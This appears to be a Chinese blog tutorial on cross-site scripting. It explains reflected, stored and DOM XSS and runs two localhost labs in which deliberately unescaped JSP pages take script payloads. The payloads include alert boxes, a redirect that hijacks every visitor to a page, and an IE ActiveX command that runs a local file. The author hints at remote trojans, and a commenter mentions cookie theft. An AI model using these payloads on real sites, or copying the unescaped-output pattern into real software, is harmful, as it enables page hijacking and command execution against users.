MENU

XSS 攻击常识及实战

October 2, 2018 • Read: 6805 • 渗透测试阅读设置

什么是 XSS?展开目录

XSS 全称是 Cross Site Scripting(为了和 CSS 进行区分,就叫 XSS)即跨站脚本,当目标网站目标用户浏览器渲染 HTML 文档的过程中,出现了不被预期的脚本指令并执行时,XSS 就发生了

XSS 分类展开目录

XSS 有三类:反射型 XSS(非持久型)、存储型 XSS(持久型)和 DOM XSS

反射型 XSS展开目录

发出请求时,XSS 代码出现在 URL 中,作为输入提交到服务器端,服务器端解析后响应,XSS 代码随响应内容一起传回给浏览器,最后浏览器解析执行 XSS 代码。这个过程像一次反射,所以称反射型 XSS。
一个简单的例子:

  • <?php
  • echo $_GET['x'];
  • ?>

如果输入 x 的值没有经过任何过滤直接输出,假设提交链接为:

  • http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>

则 alert () 函数会在浏览器访问时触发

存储型 XSS展开目录

存储型 XSS 和反射型 XSS 的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交 XSS 代码。最典型的例子就是留言板 XSS,用户提交一条包含 XSS 代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是出发了 XSS 攻击

DOM XSS展开目录

DOM XSS 和反射型 XSS、存储型 XSS 的区别在于 DOM XSS 代码并不需要服务器参与,出发 XSS 靠的是浏览器的 DOM 解析,完全是客户端的事情
www.xss.com/domxss.html 代码如下:

  • <script>
  • eval(localtion.hash.substr(1));
  • </script>

触发方式为:www.xss.com/domxss.html#alert (1) 这个 URL# 后的内容是不会发送到服务器端的,仅仅在客户端被接收并执行,常见的输入点有:

  • document.URL
  • document.URLUnencoded
  • document.localtion
  • document.referrer
  • window.location
  • window.name

实验一展开目录

1. 构造代码展开目录
  • <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  • <%
  • String path = request.getContextPath();
  • String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort()
  • + path + "/";
  • %>
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  • <html>
  • <head>
  • <base href="<%=basePath%>">
  • <title>My JSP 'xss_test.jsp' starting page</title>
  • <meta http-equiv="pragma" content="no-cache">
  • <meta http-equiv="cache-control" content="no-cache">
  • <meta http-equiv="expires" content="0">
  • <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
  • <meta http-equiv="description" content="This is my page">
  • </head>
  • <body>
  • <%
  • String str = request.getParameter("name");
  • out.print(str);
  • %>
  • </body>
  • </html>
2. 漏洞演练展开目录

首先访问:http://localhost:8080/jsp/user/xss_test.jsp?name = 小明
接着我们试着加载一个 js 脚本看看,访问:http://localhost:8080/jsp/user/xss_test.jsp?name=<script>alert("XSS")</script>
那么是不是可以改变跳转后的地址?访问:http://localhost:8080/jsp/user/xss_test.jsp?name=<script>location.href='http://www.baidu.com'</script>
既然可以加载 JS,那么我们是不是可以通过 js 来打开本地的某些东西?我提前在 D 盘根目录下放了一个 1.txt 文件,访问:http://localhost:8080/jsp/user/xss_test.jsp?name=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("D:/1.txt");</script>

上面我都是用的 Firefox 或者 chrome,但是这个只能用 IE,因为只有 IE 才有 ActiveXObject 这个对象,而且访问之前要去 IE 的 Internet 选项里把安全级别调成很低,具体来说就是各种设置全部启用
既然连本地文件都可以打开,那么远程木马,写入文件?自己想象......

实验二展开目录

大部分网站都会和数据库打交道,XSS 漏洞如果出现在这些网站会怎么样?

1. 构造代码展开目录

user_insert.jsp

  • <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  • <%
  • String path = request.getContextPath();
  • String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort()
  • + path + "/";
  • %>
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  • <html>
  • <head>
  • <base href="<%=basePath%>">
  • <title>My JSP 'user_insert.jsp' starting page</title>
  • <meta http-equiv="pragma" content="no-cache">
  • <meta http-equiv="cache-control" content="no-cache">
  • <meta http-equiv="expires" content="0">
  • <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
  • <meta http-equiv="description" content="This is my page">
  • <jsp:include page="../res.jsp" />
  • </head>
  • <body class="container">
  • <div class="container">
  • <h3 class="page-header">输入用户信息</h3>
  • <form action="<%=basePath%>user/user_insert_action.jsp" method="get"
  • class="form-horizontal">
  • <div class="form-group">
  • <label class="col-md-3 control-label">userName:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="username">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">password:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="password">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">name:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="name">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">sex:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="sex">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">classes:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="classes">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">phone:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="phone">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">email:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="email">
  • </div>
  • </div>
  • <div class="form-group">
  • <label class="col-md-3 control-label">qq:</label>
  • <div class="col-md-5">
  • <input type="text" class="form-control" name="qq">
  • </div>
  • </div>
  • <div class="form-group">
  • <div class="col-md-offset-3 col-md-5">
  • <button type="submit" class="btn btn-primary">提交</button>
  • </div>
  • </div>
  • </form>
  • </div>
  • </body>
  • </html>

user_insert_action.jsp

  • <%@page import="java.sql.*"%>
  • <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  • <%
  • String path = request.getContextPath();
  • String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort()
  • + path + "/";
  • %>
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  • <html>
  • <head>
  • <base href="<%=basePath%>">
  • <title>user_insert_action.jsp</title>
  • <meta http-equiv="pragma" content="no-cache">
  • <meta http-equiv="cache-control" content="no-cache">
  • <meta http-equiv="expires" content="0">
  • <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
  • <meta http-equiv="description" content="This is my page">
  • </head>
  • <body>
  • <%
  • //1.获取请求参数
  • String username = request.getParameter("username");
  • String password = request.getParameter("password");
  • String name = request.getParameter("name");
  • String sex = request.getParameter("sex");
  • String classes = request.getParameter("classes");
  • String phone = request.getParameter("phone");
  • String email = request.getParameter("email");
  • String qq = request.getParameter("qq");
  • %>
  • <%
  • //2.向数据库插入数据
  • Connection conn = null;
  • PreparedStatement pstmt = null;
  • try {
  • //2.1 加载驱动类
  • Class.forName("com.mysql.jdbc.Driver");
  • //2.2 创建数据库连接
  • String url = "jdbc:mysql://localhost:3306/jsp?useUnicode = true & characterEncoding = UTF-8";
  • String userName = "root";
  • String pwd = "root";
  • conn = DriverManager.getConnection(url, userName, pwd);
  • //2.3 创建预处理声明
  • String sql = "insert into user" + "(username,password,name,sex,classes,phone,email,qq)"
  • + "values(?,?,?,?,?,?,?,?)";
  • pstmt = conn.prepareStatement(sql);
  • pstmt.setString(1, username);
  • pstmt.setString(2, password);
  • pstmt.setString(3, name);
  • pstmt.setString(4, sex);
  • pstmt.setString(5, classes);
  • pstmt.setString(6, phone);
  • pstmt.setString(7, email);
  • pstmt.setString(8, qq);
  • //2.4 向数据库发送sql语句
  • int res = pstmt.executeUpdate();
  • out.println(res);
  • } catch (Exception e) {
  • e.printStackTrace();
  • } finally {
  • pstmt.close();
  • conn.close();
  • }
  • %>
  • </body>
  • </html>

user.jsp

  • <%@page import="cn.edu.wic.jsp.bean.User"%>
  • <%@page import="java.sql.DriverManager"%>
  • <%@page import="java.sql.ResultSet"%>
  • <%@page import="java.sql.PreparedStatement"%>
  • <%@page import="java.sql.Connection"%>
  • <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  • <%
  • String path = request.getContextPath();
  • String basePath = request.getScheme() + "://"
  • + request.getServerName() + ":" + request.getServerPort()
  • + path + "/";
  • %>
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  • <html>
  • <head>
  • <base href="<%=basePath%>">
  • <title>JDBC</title>
  • <meta http-equiv="pragma" content="no-cache">
  • <meta http-equiv="cache-control" content="no-cache">
  • <meta http-equiv="expires" content="0">
  • <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
  • <meta http-equiv="description" content="This is my page">
  • </head>
  • <body>
  • <%
  • List<User> users = new ArrayList<User>();
  • Connection conn = null;
  • PreparedStatement pstmt = null;//发送声明的对象
  • ResultSet rs = null;//返货结果集的对象
  • try {
  • Class.forName("com.mysql.jdbc.Driver");
  • String url = "jdbc:mysql://localhost:3306/jsp?useUnicode=true&characterEncoding=UTF-8";
  • String username = "root";
  • String password = "root";
  • conn = DriverManager.getConnection(url, username, password);
  • pstmt = conn.prepareStatement("select * from user");
  • rs = pstmt.executeQuery();
  • while (rs.next()) {
  • User user = new User();
  • user.setId(rs.getInt("id"));
  • user.setUsername(rs.getString("username"));
  • user.setPassword(rs.getString("password"));
  • user.setName(rs.getString("name"));
  • %>
  • <%= user.getId() + ","%>
  • <%= user.getUsername() + "," %>
  • <%= user.getPassword() + "," %>
  • <%= user.getName() %>
  • <br>
  • <%
  • }
  • } catch (Exception e) {
  • e.printStackTrace();
  • } finally {
  • if (pstmt != null) {
  • try {
  • pstmt.close();
  • } catch (Exception e) {
  • }
  • }
  • if (conn != null) {
  • try {
  • conn.close();
  • } catch (Exception e) {
  • }
  • }
  • }
  • %>
  • </body>
  • </html>

用户从 user_insert.jsp 输入信息提交,然后跳转到 user_insert_action.jsp,页面会显示数据库更改的条数信息,然后访问 user.jsp 查询数据库中的用户信息

2. 漏洞实验展开目录

首先在 user_insert.jsp 输入信息
提交后跳转到 user_insert_action.jsp,页面显示 1,说明用户信息成功插入数据库
最后,访问 user.jsp,XSS 注入成功

上面实验一进行的实验都可以在这上面利用,比方说写入文件,或者实现页面跳转
信息提交成功
然后访问 user.jsp,首先弹框 1,没问题,点击确定后,就直接跳转到 baidu 的网站去了
如果我把弹框的信息删掉,只保留跳转,产生的效果就是只要有用户访问到 user.jsp 页面,就立马跳转到百度去了,类似 DNS 劫持

Last Modified: October 7, 2018
Archives Tip
QR Code for this page
Tipping QR Code
Leave a Comment

  • OωO
  • |´・ω・)ノ
  • ヾ(≧∇≦*)ゝ
  • (☆ω☆)
  • (╯‵□′)╯︵┴─┴
  •  ̄﹃ ̄
  • (/ω\)
  • ∠( ᐛ 」∠)_
  • (๑•̀ㅁ•́ฅ)
  • →_→
  • ୧(๑•̀⌄•́๑)૭
  • ٩(ˊᗜˋ*)و
  • (ノ°ο°)ノ
  • (´இ皿இ`)
  • ⌇●﹏●⌇
  • (ฅ´ω`ฅ)
  • (╯°A°)╯︵○○○
  • φ( ̄∇ ̄o)
  • ヾ(´・ ・`。)ノ"
  • ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
  • (ó﹏ò。)
  • Σ(っ °Д °;)っ
  • ( ,,´・ω・)ノ"(´っω・`。)
  • ╮(╯▽╰)╭
  • o(*////▽////*)q
  • >﹏<
  • ( ๑´•ω•) "(ㆆᴗㆆ)
  • (。•ˇ‸ˇ•。)
  • 泡泡
  • 阿鲁
  • 颜文字

2 Comments
  1. 风雪 风雪

    还可以利用 XSS 获取用户 Cookie

    1. mathor mathor

      @风雪都行,只要有漏洞